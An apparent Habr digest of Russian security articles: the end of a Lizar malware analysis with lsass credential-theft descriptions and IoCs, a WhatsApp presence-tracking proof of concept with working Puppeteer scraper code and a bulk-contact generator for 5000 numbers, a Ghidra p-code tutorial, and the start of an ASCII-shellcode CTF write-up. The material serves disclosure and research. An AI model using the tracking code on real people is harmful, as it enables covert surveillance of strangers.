(WTSQuerySessionInformationW)(0i64, SessionId, WTSUserName, &vpSessionInformationUserName, &pBytesReturned))

Затем плагин получает приватные ключи из директории C:\Users\{SessionInformationUserName}AppData\Local\Microsoft\Credentials для каждого пользователя и осуществляет инжект в процесс lsass.exe для извлечения доменных учетных записей.


При запуске другим пользователем (не SYSTEM) плагин пытается собрать учетные данные для доступа по RDP к другим хостам. Сбор учетных данных осуществляется с помощью функции CredEnumerateW, при этом в качестве цели используется строка TERMSRV.


Заключение


Исследуемый набор инструментов разнообразен и сложен. Сейчас инструмент Lizar находится на стадии активной разработки и тестирования, при этом его уже вовсю используют для управления зараженными компьютерами. Сегодня Lizar используется в основном на территории США. Но, судя по всему, группировка не остановится на достигнутом, и мы совсем скоро узнаем о новых АРТ-атаках с применением данного инструмента по всему миру.


IoC


IP:


108.61.148.97
136.244.81.250
185.33.84.43
195.123.214.181
31.192.108.133
45.133.203.121


SHA256:


166b0c5e49c44f87886ecaad46e60b496b6b7512d1c57db41d9cf752fada95c8188d76c31fa7f500799762237508203bdd1927ec4d5232cc189d46bc76b7a30d1e5514e8f95dcf6dd7289acef6f6b88c460105660cb0c5b86ec7b854f70ee85721850bb5d8df021e850e740c1899353f40af72f119f2cd71ad234e91c2ccb7723b63eb184bea5b6515697ae3f13a57365f04e6a3309c79b18773291e62a64fcb4d933b6b60a097ad5ce5876a66c569e6f46707b934ebd3c442432711af195124515b94290111b7be80e001bfa2335d2f494937c8619cfdaafb2077d9d6af06fe61cfe83259640df9f19df2be4b67bb1c6e5816ac52b8a5a02ee8b79bde4b2b70fbd2d816147112bd408e26b1300775bbaa482342f9b33924d93fd71a5c312ccea3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54e908f99c6753a56440127e54ce990adbc5128d10edc11622d548ddd67e6662ac7d48362091d710935726ab4d32bf594b363683e8335f1ee70ae2ae81f4ee36cae894dedb4658e006c8a85f02fa5bbab7ecd234331b92be41ab708fa22a246e25b8691a33aa99af0f0c1a86321b70437efcf358ace1cf3f91e4cb8793228d1a62bd1e5ea9556cb6cba9a509eab8442bf37ca40006c0894c5a98ce77f6d84b03c798fbccd9c2e925d2f7b8bcfa247790a681497dfb9f7f8745c0327c43db10952f552c00bb5fd5f10b105ca247b0a78082bd6a63e2bab590040788e52634f96d1121db55edc9df9e096fc994972498cbd9da128f8f3959a462d04091634a569a96
Подробнее..

Перевод Хакаем WhatsApp, чтобы следить за активностью контактов

26.04.2021 10:24:01 | Автор: admin
WhatsApp сообщает пользователю статус его контактов.

TL;DR: можно защититься от этого хака, изменив настройки конфиденциальности аккаунта. По умолчанию WhatsApp делится вашим статусом с другими людьми. Но так как в наши дни никто не меняет настройки, этот хак срабатывает практически всегда.

Дисклеймер: эта статья является proof of concept, призванной привлечь внимание к проблеме, а также попрактиковать свои технические навыки. Не используйте код для слежки за людьми.



WhatsApp на Android

Эксплойт функции


Я хочу создать эксплойт этой функции для слежения за пользователями (ради научного исследования, конечно). Возникает первый вопрос: как она работает?

Чтобы разобраться, я использую https://web.whatsapp.com/ в веб-браузере ноутбука вместо приложения в Android-смартфоне. То есть для создания эксплойта мне придётся иметь дело с обычным реверс-инжинирингом веб-приложения. Реверс-инжиниринг приложения для Android я оставлю на потом.

Я выбрал друга из контактов телефона, чтобы посмотреть, как ведёт себя его статус на моей стороне.

Изначально статус имеет значение Offline, и в этом случае WhatsApp передаёт вам абсолютную дату вида last seen 16/03/2020 at 15:40.


Разблокирую телефон друга и открываю приложение (не WhatsApp), занимаюсь этим минуту, на моей стороне ничего не происходит.

Ладно, теперь переключаемся на WhatsApp. 10 секунд спустя статус изменился на online. Я не перехожу в беседы, которые являются общими с этим телефоном/контактом, чтобы убедиться, что статус передаётся без этого условия.


Статус online сохраняется, пока я не выхожу из WhatsApp или не отключаю экран целевого телефона.

После этого приложение возвращается к новому last seen и состоянию offline.


Подведём итог:

  • Мы не сможем следить за местоположением пользователя в мире при помощи его телефона (надеюсь!)
  • Но мы можем отслеживать, пользуются ли WhatsApp те, кто находится в наших контактах
  • Утекающая информация представляет собой дату last seen и статус online для каждого контакта
  • Можно ожидать как минимум точность до минуты для даты last seen
  • А статус online отображается, если WhatsApp был открыт хотя бы в течение 5-10 секунд

Технический анализ


Открываю отладчик Firefox, чтобы посмотреть, как фронтенд веб-приложения WhatsApp получает нужные данные.

Фронтенд использует для получения данных в реальном времени связь через веб-сокеты, примерно через каждые 10-15 секунд.


Если внимательно следить, то можно заметить, что фронтенд пингует сервер примерно каждые 15 секунд строкой ?,,, и почти всегда за этим следует ответ !{timestamp}. Что-то типа проверки активности соединения. Нам это неинтересно.


Когда статус контакта меняется, сервер передаёт фронтенду сообщение другого типа.



Частично скрытое мной значение id это номер телефона, type это флаг доступен/недоступен, t это временная метка даты last seen. Вся полезная нагрузка инкапсулирована в объект Presence, который легко можно распознать.

Временная метка совпадает с тем, что мы видим в UI.


Преобразовано с помощью www.epochconverter.com

Ограничения


Для получения событий presence от сервера через веб-сокеты, мы (фронтенд) подписываемся на конкретный номер телефона (id). Это срабатывает, когда мы выбираем другую беседу/контакт при помощи веб-интерфейса.


Итак, в этой концепции мы можем получать только события presence активного контакта. Другими словами, мы можем отслеживать одновременно только один контакт через веб-сокетное подключение. Очень жаль!

Также WhatsApp не позволяет нам открывать несколько параллельных экземпляров приложения (с одинаковыми куки). То есть мы никак не сможем одновременно открыть два канала веб-сокетов. Это было бы слишком просто!


И, наконец, это поведение вида одна веб-сессия WhatsApp за раз сохраняется при попытке создания двух независимых сессий (с разными куки). Новая сессия заставляет старую закрыться, в частности, на слое веб-сокетов.

Ещё одно ожидаемое ограничение: валидность сессии ограничена по времени. Срок моей истёк 22.10.2020, спустя шесть с лишним месяцев. Странно, что можно так получить подобную информацию на фронтенде. Возможно, я что-то не так понял.


Наивная реализация


Теперь, когда мы определили, в чём заключается функция status WhatsApp и как её можно злонамеренно использовать для слежения за пользователями, настало время писать код. Также мы взглянем на техническую реализацию и поищем возможные простые уязвимости безопасности.

Я мог бы заново написать код обмена данными через веб-сокеты, чтобы получать данные о статусе, но это будет сложно. Слишком сложно, если мы можем отслеживать одновременно только один контакт. Я начну с высокоуровневой технологии, учту известные нам пока ограничения, и посмотрю, к чему это может нас привести.

Мне хочется увидеть, чего можно добиться дешёвым хакингом, а уже потом приступать к более сложным вещам.

Я разобью proof of concept на три этапа:

  • Получение данных
  • Сохранение данных (легко)
  • Визуализация данных (легко, но у меня вызовет сложности)

Скрейпить данные я буду с помощью Node.js и Puppeteer; Puppeteer позволяет нам управлять браузером и взаимодействовать также, как это бы делал пользователь с мышью и клавиатурой. Это позволяет нам избежать сложного реверс-инжиниринга на уровне веб-сокетов, и именно поэтому я выбрал этот способ. Вообще я больше привык работать с Selenium + C#. Это мой первый эксперимент с Puppeteer, так что не судите строго.

const puppeteer = require('puppeteer');// The contact name to track (mind the case).const contactTarget = "Jean-Mich";(async () => {    const browser = await puppeteer.launch({         headless: false, // No headless to scan the QR code.         userDataDir: 'data/userdata' // Persist the session.    });    const page = await browser.newPage();    await page.goto('https://web.whatsapp.com/');    await page.waitFor(5000);    console.log('Awaiting/Checking peering with WhatsApp phone');    await page.waitFor('#side', { timeout: 60000 }).then(() => { // Scan the QR code within the next minute.        console.log('Connected !');    }).catch((res) => {        console.log('Not connected !', res);        return -1;    })    await page.waitFor(1000);    await page.focus('._2S1VP'); // Focus search input form.    await page.keyboard.type(contactTarget, { delay: 100 });    await page.waitFor(6000);    let contactElt = (await page.$x(`//*[@class="_25Ooe" and . = "${contactTarget}"]`))[0]; // Select the best result.    contactElt.click();    await page.waitFor(5000);        let statusElt = await page.$('.O90ur');    let status = await statusElt.evaluate(x => x.textContent);    console.log(`Status for ${contactTarget} is '${status}'.`); // `last seen today at 13:15` format.    await browser.close();})();

Мы реализовали базовую функциональность в 38 строках кода.

Чтобы двигаться дальше, нам нужно спарсить формат last seen today at 13:15 в формат даты. Для этого я использую замечательный npm-пакет chrono-node.

const chrono = require('chrono-node');// ...let status = await statusElt.evaluate(x => x.textContent);  // `last seen today at 13:15` format.let lastSeenDate = chrono.parseDate(status);// ...

Наконец, я реализовал в коде цикл, постоянно сканирующий статус и сохраняющий его в InfluxDB 2.0.

InfluxDB это база данных временных рядов (time-series database). Она идеально нам подходит.

Я на основании даты last seen я запишу UInteger в переменную offline since. Это будет счётчик секунд, прошедших после даты last seen.

Если статус online, то offline since будет иметь значение 0.

Извлечение наших данных это превращение данных событий в данные временных рядов.

Такая структура лучше подходит для InfluxDB и особенно для Grafana, которая будет отображать наши данные. К тому же она не хранит состояния, мне это нравится.

Для сохранения данных в InfluxDB 2.0 я использую клиент Node.js с форматом line protocol базы данных InfluxDB.

measurementName,tagKey=tagValue fieldKey="fieldValue" 1465839830100400200--------------- --------------- --------------------- -------------------       |               |                  |                    |  Measurement       Tag set           Field set            Timestamp

Сохраняемые данные выглядят так:

status,contactName=Toto offlineSince=8275u 1465839830100400200status,contactName=Toto offlineSince=8280u 1465839830100400200status,contactName=Toto offlineSince=0u 1465839830100400200status,contactName=Tata offlineSince=0u 1465839830100400200------ ---------------  ----------------- -------------------  |            |                |                  |Measurement Tag set         Field set          Timestamp


Реализация кода:

const { InfluxDB, FluxTableMetaData } = require('@influxdata/influxdb-client')let client = new InfluxDB({ url: 'http://localhost:9999', token: process.env.INFLUXDB_TOKEN });const writeApi = client.getWriteApi(process.env.INFLUXDB_ORG, process.env.INFLUXDB_BUCKET);//...let offlineSince = (lastSeenDate === null) ? 0 : ((new Date().getTime() - lastSeenDate.getTime()) / 1000).toFixed(0);if (offlineSince < 0)    offlineSince = 0;let data = `status,contactName=${contactTarget} offlineSince=${offlineSince}u`;writeApi.writeRecord(data);

Существует пограничный случай, который бы я хотел обрабатывать: иногда в WhatsApp статус вообще не отображается.

В таком случае мы не введём в базу данных значение offlineSince, потому что у нас его нет. Вместо этого мы при каждом сканировании статуса будем записывать значение statusAvailable (которое равно 0 или 1).

Теперь мы подключим Grafana к InfluxDB и создадим дэшборд для слежения за полученными данными.


Исходный код этого proof of concept можно найти здесь.

Часть 2. Отслеживаем 5000 случайных телефонов


В предыдущей части мы выяснили, что достаточно легко взломать онлайн-статус контакта WhatsApp. Простую информацию Online или last seen yesterday at 19:00 реверс-инжинирингом можно заставить выполнять утечку пользования телефоном с точностью в несколько секунд.

Но я ещё не сказал о гораздо более странной вещи: можно отслеживать любой мобильный телефон! Давайте поиграем и увеличим масштабы слежения до 5000 случайных номеров.

Как и в первой части, я делюсь исходным кодом как PROOF OF CONCEPT. Если вам больше интересны результаты, чем технические подробности, то можете сразу переходить в конец статьи. Мы снова будем использовать предыдущий код на основе Node.js, Puppeteer и Grafana.

Мои друзья, мои контакты


WhatsApp считывает контакты в телефоне и позволяет чатиться с теми, кто тоже добавлен в список. Поэтому мы можем свободно добавить в качестве контакта случайный номер и найти его в WhatsApp.


Хотя для добавления номера в список контактов не требуется, WhatsApp защищает пользователей, предлагая им согласиться на ответ или сообщить о спаме при первом обмене сообщениями. Безусловно, это помогает бороться с ботами.

Как ни удивительно, это не относится к статусу Last Seen.


Ой, а почему я вижу эти данные last seen?

Как мы видели в первой части, существует препятствующая этому настройка конфиденциальности. По умолчанию она имеет значение Everyone, но никто его не меняет.


Если вы не хотите делиться своим статусом Last Seen, то WhatsApp отключает эту функцию в обоих направлениях

Экспериментируем с 5000 контактов


Мне стало любопытно, как далеко мы сможем зайти с этой уязвимостью. Я не хочу отслеживать конкретных людей и не буду спрашивать разрешения у 5000 людей, как мог это сделать в первом хаке.

Поэтому я усложню задачу, вычислю анонимную статистику и запишу данные. Давайте увеличим масштаб до 5000 телефонов.

Генерируем 5000 контактов


Чтобы расширить proof of concept до 5000 контактов, мне нужно будет зарегистрировать 5000 контактов в телефоне! И я не собираюсь делать это вручную.

Для этого я перешёл в свой аккаунт Google на десктопном веб-сайте, зашёл на страницу Contacts и нашёл там кнопку import a CSV.


Документация выглядит очень запутанной и длинной. Я не стал её изучать и экспортировал уже имеющиеся контакты, чтобы изучить модель данных. И она действительно оказалась сложной. После нескольких попыток мне удалось импортировать пару контактов с минимально возможным количеством заполненных полей.

Name,Given Name,Additional Name,Family Name,Yomi Name,Given Name Yomi,Additional Name Yomi,Family Name Yomi,Name Prefix,Name Suffix,Initials,Nickname,Short Name,Maiden Name,Birthday,Gender,Location,Billing Information,Directory Server,Mileage,Occupation,Hobby,Sensitivity,Priority,Subject,Notes,Language,Photo,Group Membership,Phone 1 - Type,Phone 1 - ValueContactA,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Mobile,06 01 02 03 04ContactB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Mobile,06 01 02 03 05ContactC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Mobile,06 01 02 03 06

Additional Name Yomi?


На случай, если вы больше привыкли к CSV в Excel

Я написал скрипт для генерации CSV из 5000 контактов:

const fs = require("fs");require("dotenv").config();const startingNumber = process.env.STARTINGNUMBER;const fileName = "5000contacts.csv";const csvHeader =  "Name,Given Name,Additional Name,Family Name,Yomi Name,Given Name Yomi,Additional Name Yomi,Family Name Yomi,Name Prefix,Name Suffix,Initials,Nickname,Short Name,Maiden Name,Birthday,Gender,Location,Billing Information,Directory Server,Mileage,Occupation,Hobby,Sensitivity,Priority,Subject,Notes,Language,Photo,Group Membership,Phone 1 - Type,Phone 1 - Value";fs.appendFileSync(fileName, csvHeader + "\n");let numbers = startingNumber.split(" ");let counter2 = Number(numbers[2]);let counter3 = Number(numbers[3]);let counter4 = Number(numbers[4]);for (let index = 0; index < 5000; index++) {  if (counter4 == 99) {    counter4 = 0;    counter3++;  }  if (counter3 == 99) {    counter3 = 0;    counter2++;  }  let number = `${numbers[0]} ${numbers[1]} ${twoDigit(counter2)} ${twoDigit(    counter3  )} ${twoDigit(counter4)}`;  let csvRow = `Unknown${index},,,,,,,,,,,,,,,,,,,,,,,,,,,,,Mobile,${number}`;  fs.appendFileSync(fileName, csvRow + "\n");  counter4++;  console.log(`${index} -> ${number}`);}function twoDigit(number) {  var twodigit = number >= 10 ? number : "0" + number.toString();  return twodigit;}


Набор из 5000 французских номеров

И импортировал их в Gmail.


Почему это так легко, Google, ты что, крэйзи?

Затем я убедился, что мой телефон их синхронизировал (бедному телефону потребовался на синхронизацию целый час, не думаю, что он сможет выдержать ещё пять тысяч контактов).


Получение данных


Я модифицировал свой код так, чтобы он обходил в цикле все 5000 импортированных неизвестных контактов, и запустил его.


Оставил этот краулер на пару дней. (На самом деле на шесть дней, и это при помощи совершенно тупого кода! Серьёзно, здесь нет никакой защиты.) И вот какие получились красивые данные в дэшборде Grafana, взятом из предыдущего проекта.


Исходная выборка в 100 контактов. Каждое падение до 0 означает, что контакт пользовался смартфоном.

Также мы можем проверять, зарегистрирован ли номер в WhatsApp, выполняя запросы, как показано на скриншоте ниже.


Заключение


Мне удалось продолжать сканировать 5000 телефонов непрерывно в течение месяца при помощи простого кода скрейпинга.

Очевидно, WhatsApp не проверяет и не предупреждает злонамеренное использование этой функции. Мне удалось 15 000 раз использовать движок поиска для получения данных last seen за одну веб-сессию.

Для исследования я наскрейпил множество данных из 112 тысяч записей.

Моё исследование показало, что можно:

  • Определить, зарегистрирован (или был ли зарегистрирован) номер телефона в WhatsApp
  • Действителен (или был ли действителен) номер телефона и привязан ли он к телефонной сети
  • Получать фото профиля пользователя WhatsApp (можно извлекать версию в большом размере)
  • Получать сами данные last seen

Важно указать, что я не знаю, какие из 5000 контактов действительны.

Я использовал французский диапазон номеров 06xxxxxxxx (или 00336xxxxxxxx), который переполнился 10 лет назад (поэтому тогда появился диапазон 07xxxxxxxx). Поэтому, вероятно, можно допустить, что по крайней мере 80% номеров телефонов действительно.

Вот визуализация пользователей, сгруппированных по дате last seen, дающей представление о пользовании WhatsApp. Я собрал данные примерно в первую неделю февраля.


Снижение с 1357 активных пользователей в прошлом месяце до 281 на прошлой неделе довольно значительно, его можно связать с критикой WhatsApp в конце декабря 2020 года. Мне не очень интересно изучать эти данные подробнее, на этом всё, спасибо за внимание.

Messenger, Signal и Telegram (бонус)


(Facebook) Messenger не использует номеров телефонов контактов для поиска пользователей, потому что пользуется для этого аккаунтами Facebook. Совершенно иная структура, поскольку это социальная сеть и она меньше похожа на мобильный сервис VOIP. Думаю, множество похожих хаков с получением информации можно реализовать и в Messenger. Но это уже другая история, возможно, оставим её на следующий раз?

Signal и Telegram больше похожи на WhatsApp с точки зрения работы с контактами. Однако утечки там не так велики.

Данные last seen из Telegram менее доступны публично и менее подробны, например, они сообщают, что пользователь был онлайн около месяца назад. Движок поиска не имеет утечек, позволивших бы оценить количество пользователей во время моего исследования. Но теперь, спустя шесть недель, похоже, что это возможно. Меня это немного расстроило.

У Signal вообще нет функции last seen, здесь он чист. Однако посчитать пользователей было просто. Signal имеет уведомление {x} is on Signal!, когда контакт начинает им пользоваться. Это помогает отслеживать переход пользователей на Signal.


В первый день исследования из 5000 пользователей 94 было в Signal, и каждый последующий день появлялось по 1-2 новичка. Никто не использует Signal во Франции, очевидно, влияние Илона Маска здесь не так велико.


Да, это картинка, чтобы за вами не могли следить.



На правах рекламы


VDSina предлагает безопасные серверы с посуточной оплатой. Возможно установить любую операционную систему, в том числе из своего образа. Каждый сервер подключён к интернет-каналу в 500 Мегабит и бесплатно защищён от DDoS-атак!

Подробнее..

Меняем промежуточное представление кода на лету в Ghidra

30.04.2021 14:04:59 | Автор: admin

Когда мы разрабатывали модуль ghidra nodejs для инструмента Ghidra, мы поняли, что не всегда получается корректно реализовать опкод V8 (движка JavaScript, используемого Node.js) на языке описания ассемблерных инструкций SLEIGH. В таких средах исполнения, как V8, JVM и прочие, один опкод может выполнять достаточно сложные действия. Для решения этой проблемы в Ghidra предусмотрен механизм динамической инъекции конструкций P-code языка промежуточного представления Ghidra. Используя этот механизм, нам удалось превратить вывод декомпилятора из такого:

В такой:

Рассмотрим пример с опкодом CallRuntime. Он вызывает одну функцию из списка т.н. Runtime-функций V8 по индексу (kRuntimeId). Также данная инструкция имеет переменное число аргументов (range номер начального регистра-аргумента, rangedst число аргументов). Описание инструкции на языке SLEIGH, который Ghidra использует для определения ассемблерных инструкций, выглядит так:

Итого для, казалось бы, не очень сложной операции необходимо проделать целую кучу работы.

  1. Поиск нужного названия функции в массиве Runtime-функций по индексу kRuntimeId.

  2. Поскольку аргументы передаются через регистры, необходимо сохранить их предыдущее состояние.

  3. Передача в функцию переменного количества аргументов.

  4. Вызов функции и сохранение результата вызова в аккумулятор.

  5. Восстановление предыдущего состояния регистров.

Если вы знаете, как сделать такое на SLEIGH, пожалуйста, напишите комментарий. А мы решили, что все это (а особенно работу с переменным количеством аргументов-регистров) не очень удобно (если возможно) реализовывать на языке описания процессорных инструкций, и применили механизм динамических инъекций p-code, который как раз для таких случаев реализовали разработчики Ghidra. Что это за механизм?

Можно создать в файле описания ассемблерных инструкций (slaspec) специальную пользовательскую операцию, например CallRuntimeCallOther. Далее, изменив конфигурацию вашего модуля (подробнее об этом ниже), вы можете сделать так, чтобы при нахождении в коде данной инструкции Ghidra передавала бы обработку в Java динамически, и уже на языке Java написать обработчик, который будет динамически формировать p-code для инструкции, пользуясь всей гибкостью Java.

Рассмотрим подробно, как это сделать.

Создание служебной операции SLEIGH

Опишем опкод CallRuntime следующим образом. Подробнее об описании процессорных инструкций на языке SLEIGH все можете узнать из статьи Создаем процессорный модуль под Ghidra на примере байткода v8.

Определим служебную операцию:

define pcodeop CallRuntimeCallOther;

И опишем саму инструкцию:

:CallRuntime [kRuntimeId], range^rangedst is op = 0x53; kRuntimeId; range;       rangedst {CallRuntimeCallOther(2, 0);}

Таким образом, любой опкод, начинающийся с байта 0x53, будет расшифрован как CallRuntime При попытке его декомпиляции будет вызываться обработчик операции CallRuntimeCallOtherс аргументами 2 и 0. Эти аргументы описывают тип инструкции (CallRuntime) и позволят нам написать один обработчик для нескольких похожих инструкций (CallWithSpread, CallUndefinedReceiverи т.п.).

Подготовительная работа

Добавим класс, через который будет проходить инъекция кода: V8_PcodeInjectLibrary. Этот класс мы унаследуем от ghidra.program.model.lang.PcodeInjectLibrary который реализует большую часть необходимых для инъекции p-code методов.

Начнем написание класса V8_PcodeInjectLibraryс такого шаблона:

package v8_bytecode;import public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {public V8_PcodeInjectLibrary(SleighLanguage l) {}}

V8_PcodeInjectLibraryбудет использоваться не пользовательским кодом, а движком Ghidra, поэтому нам необходимо задать значение параметра pcodeInjectLibraryClassв файле pspec, чтобы движок Ghidra знал, какой класс задействовать для инъекции p-code.

<?xml version="1.0" encoding="UTF-8"?><processor_spec>  <programcounter register="pc"/>  <properties>  <property key="pcodeInjectLibraryClass" value="v8_bytecode.V8_PcodeInjectLibrary"/>  </properties></processor_spec>

Также нам понадобится добавить нашу инструкцию CallRuntimeCallOtherв файл cspec. Ghidra будет вызывать V8_PcodeInjectLibraryтолько для инструкций, определенных таким образом в cspec-файле.

<callotherfixup targetop="CallRuntimeCallOther"><pcode dynamic="true"><input name=outsize"/> </pcode></callotherfixup>

После всех этих нехитрых процедур (которые, к слову, на момент создания нашего модуля почти не были описаны в документации) можно перейти к написанию кода.

Создадим HashSet, в котором будем хранить реализованные нами инструкции. Также мы создадим и проинициализируем член нашего класса переменную language. Данный код сохраняет операцию CallRuntimeCallOtherв наборе поддерживаемых операций, а также выполняет ряд служебных действий, в которые мы не будем подробно вдаваться.

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {private Set<String> implementedOps;private SleighLanguage language;public V8_PcodeInjectLibrary(SleighLanguage l) {super(l);language = l;String translateSpec = language.buildTranslatorTag(language.getAddressFactory(),getUniqueBase(), language.getSymbolTable());PcodeParser parser = null;try {parser = new PcodeParser(translateSpec);}catch (JDOMException e1) {e1.printStackTrace();}implementedOps = new HashSet<>();implementedOps.add("CallRuntimeCallOther");}}

Благодаря внесенным нами изменениям Ghidra будет вызывать метод getPayloadнашего класса V8_PcodeInjectLibraryкаждый раз при попытке декомпиляции инструкции CallRuntimeCallOther Создадим данный метод, который при наличии инструкции в списке реализованных операций будет создавать объект класса V8_InjectCallVariadic(этот класс мы реализуем чуть позже) и возвращать его.

@Override/*** This method is called by DecompileCallback.getPcodeInject.*/public InjectPayload getPayload(int type, String name, Program program, String context) {if (type == InjectPayload.CALLMECHANISM_TYPE) {return null;}if (!implementedOps.contains(name)) {return super.getPayload(type, name, program, context);}V8_InjectPayload payload = null; switch (name) {case ("CallRuntimeCallOther"):payload = new V8_InjectCallVariadic("", language, 0);break;default:return super.getPayload(type, name, program, context);}return payload;}

Генерация p-code

Основная работа по динамическому созданию p-code будет происходить в классе V8_InjectCallVariadic. Давайте его создадим и опишем типы операций.

package v8_bytecode;import public class V8_InjectCallVariadic extends V8_InjectPayload {public V8_InjectCallVariadic(String sourceName, SleighLanguage language, long uniqBase) {super(sourceName, language, uniqBase);}// Типы операций. В данном примере мы рассматриваем RUNTIMETYPEint INTRINSICTYPE = 1;int RUNTIMETYPE = 2;int PROPERTYTYPE = 3;@Overridepublic PcodeOp[] getPcode(Program program, InjectContext context) {}@Overridepublic String getName() {return "InjectCallVariadic";}}

Как нетрудно догадаться, нам необходимо разработать нашу реализацию метода getPcode Для начала создадим объект pCode класса V8_PcodeOpEmitter Этот класс будет помогать нам создавать инструкции pCode (позже мы ознакомимся с ним подробнее).

V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 

Далее из аргумента context (контекст инъекции кода) мы можем получить адрес инструкции, который нам пригодится в дальнейшем.

Address opAddr = context.baseAddr;

С помощью данного адреса мы получим объект текущей инструкции:

Instruction instruction = program.getListing().getInstructionAt(opAddr);

Также с помощью аргумента contextмы получим значения аргументов, которые ранее описывали на языке SLEIGH.

Integer funcType = (int) context.inputlist.get(0).getOffset();Integer receiver = (int) context.inputlist.get(1).getOffset();

Реализуем обработку инструкции и генерации Pcode.

// проверка типа инструкцииif (funcType != PROPERTYTYPE) {// получаем kRuntimeId  индекс вызываемой функцииInteger index = (int) instruction.getScalar(0).getValue();// сгенерируем Pcode для вызова инструкции cpool с помощью объекта pCode класса V8_PcodeOpEmitter. Подробнее остановимся на нем ниже.pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), funcType.toString());}// получаем аргумент диапазон регистровObject[] tOpObjects = instruction.getOpObjects(2);// get caller args count to save only necessary onesObject[] opObjects;Register recvOp = null;if (receiver == 1) {}else {opObjects = new Object[tOpObjects.length];System.arraycopy(tOpObjects, 0, opObjects, 0, tOpObjects.length);}// получаем количество аргументов вызываемой функцииtry {callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount();}catch(Exception e) {callerParamsCount = 0;}// сохраняем старые значения регистров вида aN на стеке. Это необходимо для того, чтобы Ghidra лучше распознавала количество аргументов вызываемой функцииInteger callerArgIndex = 0;for (; callerArgIndex < callerParamsCount; callerArgIndex++) {pCode.emitPushCat1Value("a" + callerArgIndex);}// сохраняем аргументы вызываемой функции в регистры вида aNInteger argIndex = opObjects.length;for (Object o: opObjects) {argIndex--;Register currentOp = (Register)o;pCode.emitAssignVarnodeFromVarnode("a" + argIndex, currentOp.toString(), 4);}// вызов функцииpCode.emitVarnodeCall("call_target", 4);// восстанавливаем старые значения регистров со стекаwhile (callerArgIndex > 0) {callerArgIndex--;pCode.emitPopCat1Value("a" + callerArgIndex);}// возвращаем массив P-Code операцийreturn pCode.getPcodeOps();

Теперь рассмотрим логику работы класса V8_PcodeOpEmitter (https://github.com/PositiveTechnologies/ghidra_nodejs/blob/main/src/main/java/v8_bytecode/V8_PcodeOpEmitter.java), который во многом основан на аналогичном классе модуля для JVM. Данный класс генерирует p-code операции с помощью ряда методов. Рассмотрим их в порядке обращения к ним в нашем коде.

emitAssignVarnodeFromPcodeOpCall(String varnodeName, int size, String pcodeop, String... args)

Для понимания работы данного метода сначала рассмотрим понятие Varnodeодин из основных элементов p-code, по сути представляющий собой любую переменную, задействованную в p-code. Регистры, локальные переменные всё это Varnode.

Вернемся к методу. Данный метод генерирует p-code для вызова функции pcodeopс аргументами argsи сохраняет результат работы функции в varnodeName То есть в итоге получается такая конструкция:

varnodeName = pcodeop(args[0], args[1], );

emitPushCat1Value(String valueName) и emitPopCat1Value (String valueName)

Генерирует p-code для аналогов ассемблерных операций push и pop соответственно с Varnode valueName.

emitAssignVarnodeFromVarnode (String varnodeOutName, String varnodeInName, int size)

Генерирует p-code для операции присвоения значения varnodeOutName = varnodeInName

emitVarnodeCall (String target, int size)

Генерирует P-Code для вызова функции target.

Заключение

Благодаря вышеизложенному механизму у нас получилось значительно улучшить вывод декомплилятора Ghidra. В итоге динамическая генерация p-code стала еще одним кирпичиком в нашем большом инструменте модуле для анализа скомпилированного bytenode скриптов Node.JS. Исходный код модуля доступен в нашем репозитории на github.com. Пользуйтесь, и удачного вам реверс-инжиниринга!

Если у вас остались какие-то вопросы, задавайте их в комментариях - буду рад ответить.

Большое спасибо за исследование особенностей Node.js и разработку модуля моим коллегам: Владимиру Кононовичу, Наталье Тляповой, Сергею Федонину.

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

04.05.2021 12:13:46 | Автор: admin

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

  1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

  2. level3_instructions.txt - инструкции что и как делать

  3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

  • Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

